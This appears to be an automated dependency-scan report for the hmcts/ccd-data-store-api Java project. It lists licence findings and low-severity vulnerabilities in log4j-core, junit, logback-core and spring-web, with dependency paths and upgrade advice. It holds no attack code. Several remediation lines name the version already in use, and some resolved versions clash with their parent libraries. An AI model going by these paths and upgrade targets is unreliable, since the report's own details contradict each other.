  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-jackson@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-tomcat@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-loadbalancer@4.3.2 org.springframework.cloud:spring-cloud-starter@5.0.1 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-openfeign@5.0.1 org.springframework.cloud:spring-cloud-starter@5.0.1 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springdoc:springdoc-openapi-starter-webmvc-ui@2.8.17 org.springdoc:springdoc-openapi-starter-webmvc-api@2.8.17 org.springdoc:springdoc-openapi-starter-common@2.8.17 org.springframework.boot:spring-boot-starter-validation@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3

Dual license: EPL-1.0, LGPL-2.1

medium severity

Dual license: EPL-1.0, LGPL-2.1

  • Module: ch.qos.logback:logback-core
  • Introduced through: com.microsoft.azure:applicationinsights-logging-logback@2.6.4, org.springframework.boot:spring-boot-starter-validation@4.1.0 and others

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api com.microsoft.azure:applicationinsights-logging-logback@2.6.4 ch.qos.logback:logback-core@1.2.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api com.microsoft.azure:applicationinsights-logging-logback@2.6.4 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-validation@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-actuator@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-cache@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-jdbc@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-data-jpa@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-actuator@4.1.0 org.springframework.boot:spring-boot-starter-micrometer-metrics@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-loadbalancer@4.3.2 org.springframework.boot:spring-boot-starter-cache@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-data-jpa@4.1.0 org.springframework.boot:spring-boot-starter-jdbc@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-starter-security@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-jackson@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-tomcat@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-loadbalancer@4.3.2 org.springframework.cloud:spring-cloud-starter@5.0.1 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-openfeign@5.0.1 org.springframework.cloud:spring-cloud-starter@5.0.1 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springdoc:springdoc-openapi-starter-webmvc-ui@2.8.17 org.springdoc:springdoc-openapi-starter-webmvc-api@2.8.17 org.springdoc:springdoc-openapi-starter-common@2.8.17 org.springframework.boot:spring-boot-starter-validation@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3

Dual license: EPL-1.0, LGPL-2.1

medium severity

LGPL-2.1 license

  • Module: com.github.spotbugs:spotbugs-annotations
  • Introduced through: com.github.spotbugs:spotbugs-annotations@4.0.0

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api com.github.spotbugs:spotbugs-annotations@4.0.0

LGPL-2.1 license

medium severity

LGPL-2.0 license

  • Module: com.google.code.findbugs:annotations
  • Introduced through: com.google.code.findbugs:annotations@3.0.0

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api com.google.code.findbugs:annotations@3.0.0

LGPL-2.0 license

medium severity

EPL-1.0 license

  • Module: junit:junit
  • Introduced through: io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 junit:junit@4.12

EPL-1.0 license

low severity

Man-in-the-Middle (MitM)

  • Vulnerable module: org.apache.logging.log4j:log4j-core
  • Introduced through: org.elasticsearch:elasticsearch@9.2.4 and io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.elasticsearch:elasticsearch@9.2.4 org.apache.logging.log4j:log4j-core@2.7
    Remediation: Upgrade to org.elasticsearch:elasticsearch@9.2.4.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.apache.logging.log4j:log4j-core@2.7
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.apache.logging.log4j:log4j-core@2.7
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 io.searchbox:jest-common@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.apache.logging.log4j:log4j-core@2.7
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.test:framework@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.apache.logging.log4j:log4j-core@2.7
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.codelibs.elasticsearch.module:lang-painless@6.3.1 org.codelibs.elasticsearch.module:scripting-painless-spi@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.apache.logging.log4j:log4j-core@2.7

Overview

org.apache.logging.log4j:log4j-core is a logging library for Java.

Affected versions of this package are vulnerable to Man-in-the-Middle (MitM). Improper validation of certificate with host mismatch in Apache Log4j SMTP appender. This could allow an SMTPS connection to be intercepted by a man-in-the-middle attack which could leak any log messages sent through that appender.

Remediation

Upgrade org.apache.logging.log4j:log4j-core to version 2.13.2 or higher.

References

low severity

Information Exposure

  • Vulnerable module: junit:junit
  • Introduced through: io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 junit:junit@4.12
    Remediation: Upgrade to io.searchbox:jest@6.3.1.

Overview

junit:junit is an unit testing framework for Java

Affected versions of this package are vulnerable to Information Exposure. The JUnit4 test rule TemporaryFolder contains a local information disclosure vulnerability. On Unix like systems, the system's temporary directory is shared between all users on that system. Because of this, when files and directories are written into this directory they are, by default, readable by other users on that same system.

Note: This vulnerability does not allow other users to overwrite the contents of these directories or files. This only affects Unix like systems.

Remediation

Upgrade junit:junit to version 4.13.1 or higher.

References

low severity

Server-side Request Forgery (SSRF)

  • Vulnerable module: ch.qos.logback:logback-core
  • Introduced through: com.microsoft.azure:applicationinsights-logging-logback@2.6.4, org.springframework.boot:spring-boot-starter-validation@4.1.0 and others

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api com.microsoft.azure:applicationinsights-logging-logback@2.6.4 ch.qos.logback:logback-core@1.2.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api com.microsoft.azure:applicationinsights-logging-logback@2.6.4 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-validation@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-validation@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-actuator@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-actuator@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-cache@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-cache@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-jdbc@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-jdbc@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-data-jpa@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-data-jpa@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-actuator@4.1.0 org.springframework.boot:spring-boot-starter-micrometer-metrics@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-actuator@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-loadbalancer@4.3.2 org.springframework.boot:spring-boot-starter-cache@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-data-jpa@4.1.0 org.springframework.boot:spring-boot-starter-jdbc@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-data-jpa@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-starter-security@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-jackson@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-tomcat@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-loadbalancer@4.3.2 org.springframework.cloud:spring-cloud-starter@5.0.1 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-openfeign@5.0.1 org.springframework.cloud:spring-cloud-starter@5.0.1 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springdoc:springdoc-openapi-starter-webmvc-ui@2.8.17 org.springdoc:springdoc-openapi-starter-webmvc-api@2.8.17 org.springdoc:springdoc-openapi-starter-common@2.8.17 org.springframework.boot:spring-boot-starter-validation@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
    Remediation: Upgrade to org.springdoc:springdoc-openapi-starter-webmvc-ui@3.0.0.

Overview

ch.qos.logback:logback-core is a logback-core module.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) through the SaxEventRecorder process. An attacker can forge requests by compromising logback configuration files in XML.

Remediation

Upgrade ch.qos.logback:logback-core to version 1.3.15, 1.5.13 or higher.

References

low severity

Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')

  • Vulnerable module: org.springframework:spring-web
  • Introduced through: org.springframework.security:spring-security-web@7.1.0, org.springframework.security:spring-security-oauth2-core@7.1.0 and others

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-web@7.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.security:spring-security-web@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-oauth2-core@7.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-core@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-openfeign@5.0.1 org.springframework:spring-web@7.0.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.hateoas:spring-hateoas@3.1.1 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.hateoas:spring-hateoas@3.1.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-oauth2-resource-server@7.1.0 org.springframework.security:spring-security-web@7.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-resource-server@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-oauth2-client@7.1.0 org.springframework.security:spring-security-web@7.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-client@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-oauth2-jose@7.1.0 org.springframework.security:spring-security-oauth2-core@7.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-jose@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-oauth2-resource-server@7.1.0 org.springframework.security:spring-security-oauth2-core@7.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-resource-server@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-oauth2-client@7.1.0 org.springframework.security:spring-security-oauth2-core@7.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-client@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-http-converter@4.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-webmvc@4.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springdoc:springdoc-openapi-starter-webmvc-ui@2.8.17 org.springdoc:springdoc-openapi-starter-webmvc-api@2.8.17 org.springframework:spring-webmvc@7.0.8 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springdoc:springdoc-openapi-starter-webmvc-ui@3.0.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-webmvc@4.1.0 org.springframework:spring-webmvc@7.0.8 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-webmvc@4.1.0 org.springframework.boot:spring-boot-http-converter@4.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-webmvc@4.1.0 org.springframework.boot:spring-boot-servlet@4.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-openfeign@5.0.1 org.springframework.cloud:spring-cloud-openfeign-core@5.0.1 io.github.openfeign:feign-form-spring@13.6 org.springframework:spring-web@7.0.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-security-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-security@4.1.0 org.springframework.security:spring-security-web@7.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-starter-security@4.1.0 org.springframework.boot:spring-boot-security@4.1.0 org.springframework.security:spring-security-web@7.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-security-oauth2-resource-server@4.1.0 org.springframework.security:spring-security-oauth2-resource-server@7.1.0 org.springframework.security:spring-security-web@7.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-security-oauth2-resource-server@4.1.0 org.springframework.security:spring-security-oauth2-jose@7.1.0 org.springframework.security:spring-security-oauth2-core@7.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-security-oauth2-resource-server@4.1.0 org.springframework.security:spring-security-oauth2-resource-server@7.1.0 org.springframework.security:spring-security-oauth2-core@7.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-tomcat@4.1.0 org.springframework.boot:spring-boot-tomcat@4.1.0 org.springframework.boot:spring-boot-web-server@4.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-tomcat@4.1.0 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.1.0 org.springframework.boot:spring-boot-web-server@4.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-loadbalancer@4.3.2 org.springframework.cloud:spring-cloud-loadbalancer@4.3.2 org.springframework.cloud:spring-cloud-context@5.0.1 org.springframework.boot:spring-boot-restclient@4.0.2 org.springframework.boot:spring-boot-http-converter@4.1.0 org.springframework:spring-web@7.0.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-loadbalancer@4.3.2 org.springframework.cloud:spring-cloud-starter@5.0.1 org.springframework.cloud:spring-cloud-context@5.0.1 org.springframework.boot:spring-boot-restclient@4.0.2 org.springframework.boot:spring-boot-http-converter@4.1.0 org.springframework:spring-web@7.0.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-openfeign@5.0.1 org.springframework.cloud:spring-cloud-starter@5.0.1 org.springframework.cloud:spring-cloud-context@5.0.1 org.springframework.boot:spring-boot-restclient@4.0.2 org.springframework.boot:spring-boot-http-converter@4.1.0 org.springframework:spring-web@7.0.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-tomcat@4.1.0 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.1.0 org.springframework.boot:spring-boot-tomcat@4.1.0 org.springframework.boot:spring-boot-web-server@4.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-loadbalancer@4.3.2 org.springframework.cloud:spring-cloud-loadbalancer@4.3.2 org.springframework.cloud:spring-cloud-context@5.0.1 org.springframework.boot:spring-boot-restclient@4.0.2 org.springframework.boot:spring-boot-http-client@4.0.2 org.springframework:spring-web@7.0.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-loadbalancer@4.3.2 org.springframework.cloud:spring-cloud-starter@5.0.1 org.springframework.cloud:spring-cloud-context@5.0.1 org.springframework.boot:spring-boot-restclient@4.0.2 org.springframework.boot:spring-boot-http-client@4.0.2 org.springframework:spring-web@7.0.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-openfeign@5.0.1 org.springframework.cloud:spring-cloud-starter@5.0.1 org.springframework.cloud:spring-cloud-context@5.0.1 org.springframework.boot:spring-boot-restclient@4.0.2 org.springframework.boot:spring-boot-http-client@4.0.2 org.springframework:spring-web@7.0.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-loadbalancer@4.3.2 org.springframework.cloud:spring-cloud-loadbalancer@4.3.2 org.springframework.cloud:spring-cloud-context@5.0.1 org.springframework.boot:spring-boot-restclient@4.0.2 org.springframework.boot:spring-boot-http-client@4.0.2 org.springframework.boot:spring-boot-http-converter@4.1.0 org.springframework:spring-web@7.0.3
